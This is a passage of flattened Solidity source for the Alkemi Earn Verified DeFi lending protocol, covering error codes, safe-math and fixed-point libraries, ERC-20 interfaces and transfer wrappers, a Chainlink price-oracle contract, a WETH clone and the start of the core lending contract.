BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED, BORROW_ORIGINATION_FEE_CALCULATION_FAILED, BORROW_TRANSFER_OUT_FAILED, EQUITY_WITHDRAWAL_AMOUNT_VALIDATION, EQUITY_WITHDRAWAL_CALCULATE_EQUITY, EQUITY_WITHDRAWAL_MODEL_OWNER_CHECK, EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED, LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED, LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET, LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET, LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED, LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED, LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH, LIQUIDATE_CONTRACT_PAUSED, LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED, LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET, LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET, LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET, LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET, LIQUIDATE_FETCH_ASSET_PRICE_FAILED, LIQUIDATE_TRANSFER_IN_FAILED, LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE, REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, REPAY_BORROW_CONTRACT_PAUSED, REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED, REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED, REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED, REPAY_BORROW_TRANSFER_IN_FAILED, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_ASSET_PRICE_CHECK_ORACLE, SET_MARKET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_ORACLE_OWNER_CHECK, SET_ORIGINATION_FEE_OWNER_CHECK, SET_PAUSED_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_RISK_PARAMETERS_OWNER_CHECK, SET_RISK_PARAMETERS_VALIDATION, SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED, SUPPLY_CONTRACT_PAUSED, SUPPLY_MARKET_NOT_SUPPORTED, SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED, SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED, SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED, SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED, SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED, SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED, SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, SUPPLY_TRANSFER_IN_FAILED, SUPPLY_TRANSFER_IN_NOT_POSSIBLE, SUPPORT_MARKET_FETCH_PRICE_FAILED, SUPPORT_MARKET_OWNER_CHECK, SUPPORT_MARKET_PRICE_CHECK, SUSPEND_MARKET_OWNER_CHECK, WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED, WITHDRAW_ACCOUNT_SHORTFALL_PRESENT, WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED, WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL, WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED, WITHDRAW_CAPACITY_CALCULATION_FAILED, WITHDRAW_CONTRACT_PAUSED, WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED, WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED, WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED, WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED, WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, WITHDRAW_TRANSFER_OUT_FAILED, WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE, KYC_ADMIN_CHECK_FAILED, KYC_ADMIN_ADD_OR_DELETE_ADMIN_CHECK_FAILED, KYC_CUSTOMER_VERIFICATION_CHECK_FAILED, LIQUIDATOR_CHECK_FAILED, LIQUIDATOR_ADD_OR_DELETE_ADMIN_CHECK_FAILED, SET_WETH_ADDRESS_ADMIN_CHECK_FAILED, WETH_ADDRESS_NOT_SET_ERROR, SEND_ETHER_ADMIN_CHECK_FAILED, ETHER_AMOUNT_MISMATCH_ERROR } /** * @dev use this when reporting a known error from the Alkemi Earn Verified or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint256) { emit Failure(uint256(err), uint256(info), 0); return uint256(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(FailureInfo info, uint256 opaqueError) internal returns (uint256) { emit Failure(uint256(Error.OPAQUE_ERROR), uint256(info), opaqueError); return uint256(Error.OPAQUE_ERROR); } } // File: contracts/CarefulMath.sol // Cloned from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol -> Commit id: 24a0bc2 // and added custom functions related to Alkemi pragma solidity 0.4.24; /** * @title Careful Math * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol */ contract CarefulMath is ErrorReporter { /** * @dev Multiplies two numbers, returns an error on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (Error, uint256) { if (a == 0) { return (Error.NO_ERROR, 0); } uint256 c = a * b; if (c / a != b) { return (Error.INTEGER_OVERFLOW, 0); } else { return (Error.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (Error, uint256) { if (b == 0) { return (Error.DIVISION_BY_ZERO, 0); } return (Error.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (Error, uint256) { if (b <= a) { return (Error.NO_ERROR, a - b); } else { return (Error.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function add(uint256 a, uint256 b) internal pure returns (Error, uint256) { uint256 c = a + b; if (c >= a) { return (Error.NO_ERROR, c); } else { return (Error.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSub( uint256 a, uint256 b, uint256 c ) internal pure returns (Error, uint256) { (Error err0, uint256 sum) = add(a, b); if (err0 != Error.NO_ERROR) { return (err0, 0); } return sub(sum, c); } } // File: contracts/Exponential.sol // Cloned from https://github.com/compound-finance/compound-money-market/blob/master/contracts/Exponential.sol -> Commit id: 241541a pragma solidity 0.4.24; contract Exponential is ErrorReporter, CarefulMath { // Per https://solidity.readthedocs.io/en/latest/contracts.html#constant-state-variables // the optimizer MAY replace the expression 10**18 with its calculated value. uint256 constant expScale = 10**18; uint256 constant halfExpScale = expScale / 2; struct Exp { uint256 mantissa; } uint256 constant mantissaOne = 10**18; // Though unused, the below variable cannot be deleted as it will hinder upgradeability // Will be cleared during the next compiler version upgrade uint256 constant mantissaOneTenth = 10**17; /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint256 num, uint256 denom) internal pure returns (Error, Exp memory) { (Error err0, uint256 scaledNumerator) = mul(num, expScale); if (err0 != Error.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (Error err1, uint256 rational) = div(scaledNumerator, denom); if (err1 != Error.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (Error.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) internal pure returns (Error, Exp memory) { (Error error, uint256 result) = add(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) internal pure returns (Error, Exp memory) { (Error error, uint256 result) = sub(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint256 scalar) internal pure returns (Error, Exp memory) { (Error err0, uint256 scaledMantissa) = mul(a.mantissa, scalar); if (err0 != Error.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (Error.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint256 scalar) internal pure returns (Error, Exp memory) { (Error err0, uint256 descaledMantissa) = div(a.mantissa, scalar); if (err0 != Error.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (Error.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint256 scalar, Exp divisor) internal pure returns (Error, Exp memory) { /* We are doing this as: getExp(mul(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (Error err0, uint256 numerator) = mul(expScale, scalar); if (err0 != Error.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) internal pure returns (Error, Exp memory) { (Error err0, uint256 doubleScaledProduct) = mul(a.mantissa, b.mantissa); if (err0 != Error.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (Error err1, uint256 doubleScaledProductWithHalfScale) = add( halfExpScale, doubleScaledProduct ); if (err1 != Error.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (Error err2, uint256 product) = div( doubleScaledProductWithHalfScale, expScale ); // The only error `div` can return is Error.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == Error.NO_ERROR); return (Error.NO_ERROR, Exp({mantissa: product})); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) internal pure returns (Error, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * (10**18)}) = 15 */ function truncate(Exp memory exp) internal pure returns (uint256) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if first Exp is greater than second Exp. */ function greaterThanExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) internal pure returns (bool) { return value.mantissa == 0; } } // File: contracts/InterestRateModel.sol pragma solidity 0.4.24; /** * @title InterestRateModel Interface * @notice Any interest rate model should derive from this contract. * @dev These functions are specifically not marked `pure` as implementations of this * contract may read from storage variables. */ contract InterestRateModel { /** * @notice Gets the current supply interest rate based on the given asset, total cash and total borrows * @dev The return value should be scaled by 1e18, thus a return value of * `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*. * @param asset The asset to get the interest rate of * @param cash The total cash of the asset in the market * @param borrows The total borrows of the asset in the market * @return Success or failure and the supply interest rate per block scaled by 10e18 */ function getSupplyRate( address asset, uint256 cash, uint256 borrows ) public view returns (uint256, uint256); /** * @notice Gets the current borrow interest rate based on the given asset, total cash and total borrows * @dev The return value should be scaled by 1e18, thus a return value of * `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*. * @param asset The asset to get the interest rate of * @param cash The total cash of the asset in the market * @param borrows The total borrows of the asset in the market * @return Success or failure and the borrow interest rate per block scaled by 10e18 */ function getBorrowRate( address asset, uint256 cash, uint256 borrows ) public view returns (uint256, uint256); } // File: contracts/EIP20Interface.sol // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity 0.4.24; contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ // total amount of tokens uint256 public totalSupply; // token decimals uint8 public decimals; // maximum is 18 decimals /** * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) public view returns (uint256 balance); /** * @notice send `_value` token to `_to` from `msg.sender` * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transfer(address _to, uint256 _value) public returns (bool success); /** * @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool success); /** * @notice `msg.sender` approves `_spender` to spend `_value` tokens * @param _spender The address of the account able to transfer the tokens * @param _value The amount of tokens to be approved for transfer * @return Whether the approval was successful or not */ function approve(address _spender, uint256 _value) public returns (bool success); /** * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); } // File: contracts/EIP20NonStandardInterface.sol // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity 0.4.24; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ contract EIP20NonStandardInterface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ // total amount of tokens uint256 public totalSupply; /** * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) public view returns (uint256 balance); /** * !!!!!!!!!!!!!! * !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification * !!!!!!!!!!!!!! * * @notice send `_value` token to `_to` from `msg.sender` * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transfer(address _to, uint256 _value) public; /** * * !!!!!!!!!!!!!! * !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification * !!!!!!!!!!!!!! * * @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom( address _from, address _to, uint256 _value ) public; /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /** * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); } // File: contracts/SafeToken.sol pragma solidity 0.4.24; contract SafeToken is ErrorReporter { /** * @dev Checks whether or not there is sufficient allowance for this contract to move amount from `from` and * whether or not `from` has a balance of at least `amount`. Does NOT do a transfer. */ function checkTransferIn( address asset, address from, uint256 amount ) internal view returns (Error) { EIP20Interface token = EIP20Interface(asset); if (token.allowance(from, address(this)) < amount) { return Error.TOKEN_INSUFFICIENT_ALLOWANCE; } if (token.balanceOf(from) < amount) { return Error.TOKEN_INSUFFICIENT_BALANCE; } return Error.NO_ERROR; } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and returns an explanatory * error code rather than reverting. If caller has not called `checkTransferIn`, this may revert due to * insufficient balance or insufficient allowance. If caller has called `checkTransferIn` prior to this call, * and it returned Error.NO_ERROR, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferIn( address asset, address from, uint256 amount ) internal returns (Error) { EIP20NonStandardInterface token = EIP20NonStandardInterface(asset); bool result; token.transferFrom(from, address(this), amount); assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 result := not(0) // set result to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) result := mload(0) // Set `result = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } if (!result) { return Error.TOKEN_TRANSFER_FAILED; } return Error.NO_ERROR; } /** * @dev Checks balance of this contract in asset */ function getCash(address asset) internal view returns (uint256) { EIP20Interface token = EIP20Interface(asset); return token.balanceOf(address(this)); } /** * @dev Checks balance of `from` in `asset` */ function getBalanceOf(address asset, address from) internal view returns (uint256) { EIP20Interface token = EIP20Interface(asset); return token.balanceOf(from); } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut( address asset, address to, uint256 amount ) internal returns (Error) { EIP20NonStandardInterface token = EIP20NonStandardInterface(asset); bool result; token.transfer(to, amount); assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 result := not(0) // set result to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) result := mload(0) // Set `result = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } if (!result) { return Error.TOKEN_TRANSFER_OUT_FAILED; } return Error.NO_ERROR; } function doApprove( address asset, address to, uint256 amount ) internal returns (Error) { EIP20NonStandardInterface token = EIP20NonStandardInterface(asset); bool result; token.approve(to, amount); assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 result := not(0) // set result to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) result := mload(0) // Set `result = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } if (!result) { return Error.TOKEN_TRANSFER_OUT_FAILED; } return Error.NO_ERROR; } } // File: contracts/AggregatorV3Interface.sol pragma solidity 0.4.24; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File: contracts/ChainLink.sol pragma solidity 0.4.24; contract ChainLink { mapping(address => AggregatorV3Interface) internal priceContractMapping; address public admin; bool public paused = false; address public wethAddressVerified; address public wethAddressPublic; AggregatorV3Interface public USDETHPriceFeed; uint256 constant expScale = 10**18; uint8 constant eighteen = 18; /** * Sets the admin * Add assets and set Weth Address using their own functions */ constructor() public { admin = msg.sender; } /** * Modifier to restrict functions only by admins */ modifier onlyAdmin() { require( msg.sender == admin, "Only the Admin can perform this operation" ); _; } /** * Event declarations for all the operations of this contract */ event assetAdded( address indexed assetAddress, address indexed priceFeedContract ); event assetRemoved(address indexed assetAddress); event adminChanged(address indexed oldAdmin, address indexed newAdmin); event verifiedWethAddressSet(address indexed wethAddressVerified); event publicWethAddressSet(address indexed wethAddressPublic); event contractPausedOrUnpaused(bool currentStatus); /** * Allows admin to add a new asset for price tracking */ function addAsset(address assetAddress, address priceFeedContract) public onlyAdmin { require( assetAddress != address(0) && priceFeedContract != address(0), "Asset or Price Feed address cannot be 0x00" ); priceContractMapping[assetAddress] = AggregatorV3Interface( priceFeedContract ); emit assetAdded(assetAddress, priceFeedContract); } /** * Allows admin to remove an existing asset from price tracking */ function removeAsset(address assetAddress) public onlyAdmin { require( assetAddress != address(0), "Asset or Price Feed address cannot be 0x00" ); priceContractMapping[assetAddress] = AggregatorV3Interface(address(0)); emit assetRemoved(assetAddress); } /** * Allows admin to change the admin of the contract */ function changeAdmin(address newAdmin) public onlyAdmin { require( newAdmin != address(0), "Asset or Price Feed address cannot be 0x00" ); emit adminChanged(admin, newAdmin); admin = newAdmin; } /** * Allows admin to set the weth address for verified protocol */ function setWethAddressVerified(address _wethAddressVerified) public onlyAdmin { require(_wethAddressVerified != address(0), "WETH address cannot be 0x00"); wethAddressVerified = _wethAddressVerified; emit verifiedWethAddressSet(_wethAddressVerified); } /** * Allows admin to set the weth address for public protocol */ function setWethAddressPublic(address _wethAddressPublic) public onlyAdmin { require(_wethAddressPublic != address(0), "WETH address cannot be 0x00"); wethAddressPublic = _wethAddressPublic; emit publicWethAddressSet(_wethAddressPublic); } /** * Allows admin to pause and unpause the contract */ function togglePause() public onlyAdmin { if (paused) { paused = false; emit contractPausedOrUnpaused(false); } else { paused = true; emit contractPausedOrUnpaused(true); } } /** * Returns the latest price scaled to 1e18 scale */ function getAssetPrice(address asset) public view returns (uint256, uint8) { // Return 1 * 10^18 for WETH, otherwise return actual price if (!paused) { if ( asset == wethAddressVerified || asset == wethAddressPublic ){ return (expScale, eighteen); } } // Capture the decimals in the ERC20 token uint8 assetDecimals = EIP20Interface(asset).decimals(); if (!paused && priceContractMapping[asset] != address(0)) { ( uint80 roundID, int256 price, uint256 startedAt, uint256 timeStamp, uint80 answeredInRound ) = priceContractMapping[asset].latestRoundData(); startedAt; // To avoid compiler warnings for unused local variable // If the price data was not refreshed for the past 1 day, prices are considered stale // This threshold is the maximum Chainlink uses to update the price feeds require(timeStamp > (now - 86500 seconds), "Stale data"); // If answeredInRound is less than roundID, prices are considered stale require(answeredInRound >= roundID, "Stale Data"); if (price > 0) { // Magnify the result based on decimals return (uint256(price), assetDecimals); } else { return (0, assetDecimals); } } else { return (0, assetDecimals); } } function() public payable { require( msg.sender.send(msg.value), "Fallback function initiated but refund failed" ); } } // File: contracts/AlkemiWETH.sol // Cloned from https://github.com/gnosis/canonical-weth/blob/master/contracts/WETH9.sol -> Commit id: 0dd1ea3 pragma solidity 0.4.24; contract AlkemiWETH { string public name = "Wrapped Ether"; string public symbol = "WETH"; uint8 public decimals = 18; event Approval(address indexed src, address indexed guy, uint256 wad); event Transfer(address indexed src, address indexed dst, uint256 wad); event Deposit(address indexed dst, uint256 wad); event Withdrawal(address indexed src, uint256 wad); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; function() public payable { deposit(); } function deposit() public payable { balanceOf[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value); emit Transfer(address(0), msg.sender, msg.value); } function withdraw(address user, uint256 wad) public { require(balanceOf[msg.sender] >= wad); balanceOf[msg.sender] -= wad; user.transfer(wad); emit Withdrawal(msg.sender, wad); emit Transfer(msg.sender, address(0), wad); } function totalSupply() public view returns (uint256) { return address(this).balance; } function approve(address guy, uint256 wad) public returns (bool) { allowance[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint256 wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom( address src, address dst, uint256 wad ) public returns (bool) { require(balanceOf[src] >= wad); if (src != msg.sender && allowance[src][msg.sender] != uint256(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; emit Transfer(src, dst, wad); return true; } } // File: contracts/RewardControlInterface.sol pragma solidity 0.4.24; contract RewardControlInterface { /** * @notice Refresh ALK supply index for the specified market and supplier * @param market The market whose supply index to update * @param supplier The address of the supplier to distribute ALK to * @param isVerified Verified / Public protocol */ function refreshAlkSupplyIndex( address market, address supplier, bool isVerified ) external; /** * @notice Refresh ALK borrow index for the specified market and borrower * @param market The market whose borrow index to update * @param borrower The address of the borrower to distribute ALK to * @param isVerified Verified / Public protocol */ function refreshAlkBorrowIndex( address market, address borrower, bool isVerified ) external; /** * @notice Claim all the ALK accrued by holder in all markets * @param holder The address to claim ALK for */ function claimAlk(address holder) external; /** * @notice Claim all the ALK accrued by holder by refreshing the indexes on the specified market only * @param holder The address to claim ALK for * @param market The address of the market to refresh the indexes for * @param isVerified Verified / Public protocol */ function claimAlk( address holder, address market, bool isVerified ) external; } // File: contracts/AlkemiEarnVerified.sol pragma solidity 0.4.24; contract AlkemiEarnVerified is Exponential, SafeToken { uint256 internal initialInterestIndex; uint256 internal defaultOriginationFee; uint256 internal defaultCollateralRatio; uint256 internal defaultLiquidationDiscount; // minimumCollateralRatioMantissa and maximumLiquidationDiscountMantissa cannot be declared as constants due to upgradeability // Values cannot be assigned directly as OpenZeppelin upgrades do not support the same // Values can only be assigned using initializer() below // However, there is no way to change the below values using any functions and hence they act as constants uint256 public minimumCollateralRatioMantissa; uint256 public maximumLiquidationDiscountMantissa; bool private initializationDone; // To make sure initializer is called only once /** * @notice `AlkemiEarnVerified` is the core contract * @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies * @notice Hence this contract has an 'initializer' in place of a 'constructor' * @notice Make sure to add new global variables only at the bottom of all the existing global variables i.e., line #344 * @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade */ function initializer() public { if (initializationDone == false) { initializationDone = true; admin = msg.sender; initialInterestIndex = 10**18; minimumCollateralRatioMantissa = 11 * (10**17); // 1.1 maximumLiquidationDiscountMantissa = (10**17); // 0.1 collateralRatio = Exp({mantissa: 125 * (10**16)}); originationFee = Exp({mantissa: (10**15)}); liquidationDiscount = Exp({mantissa: (10**17)}); // oracle must be configured via _adminFunctions } } /** * @notice Do not pay directly into AlkemiEarnVerified, please use `supply`. */ function() public payable { revert(); } /** * @dev pending Administrator for this contract. */ address public pendingAdmin; /** * @dev Administrator for this contract. Initially set in constructor, but can * be changed by the admin itself. */ address public admin; /** * @dev Managers for this contract with limited permissions. Can * be changed by the admin. * Though unused, the below variable cannot be deleted as it will hinder upgradeability * Will be cleared during the next compiler version upgrade */ mapping(address => bool) public managers; /** * @dev Account allowed to set oracle prices for this contract. Initially set * in constructor, but can be changed by the admin. */ address private oracle; /** * @dev Modifier to check if the caller is the admin of the contract */ modifier onlyOwner() { require(msg.sender == admin, "Owner check failed"); _; } /** * @dev Modifier to check if the caller is KYC verified */ modifier onlyCustomerWithKYC() { require( customersWithKYC[msg.sender], "KYC_CUSTOMER_VERIFICATION_CHECK_FAILED" ); _; } /** * @dev Account allowed to fetch chainlink oracle prices for this contract. Can be changed by the admin. */ ChainLink public priceOracle; /** * @dev Container for customer balance information written to storage. * * struct Balance { * principal = customer total balance with accrued interest after applying the customer's most recent balance-changing action * interestIndex = Checkpoint for interest calculation after the customer's most recent balance-changing action * } */ struct Balance { uint256 principal; uint256 interestIndex; } /** * @dev 2-level map: customerAddress -> assetAddress -> balance for supplies */ mapping(address => mapping(address => Balance)) public supplyBalances; /** * @dev 2-level map: customerAddress -> assetAddress -> balance for borrows */ mapping(address => mapping(address => Balance)) public borrowBalances; /** * @dev Container for per-asset balance sheet and interest rate information written to storage, intended to be stored in a map where the asset address is the key * * struct Market { * isSupported = Whether this market is supported or not (not to be confused with the list of collateral assets) * blockNumber = when the other values in this struct were calculated * interestRateModel = Interest Rate model, which calculates supply interest rate and borrow interest rate based on Utilization, used for the asset * totalSupply = total amount of this asset supplied (in asset wei) * supplyRateMantissa = the per-block interest rate for supplies of asset as of blockNumber, scaled by 10e18 * supplyIndex = the interest index for supplies of asset as of blockNumber; initialized in _supportMarket * totalBorrows = total amount of this asset borrowed (in asset wei) * borrowRateMantissa = the per-block interest rate for borrows of asset as of 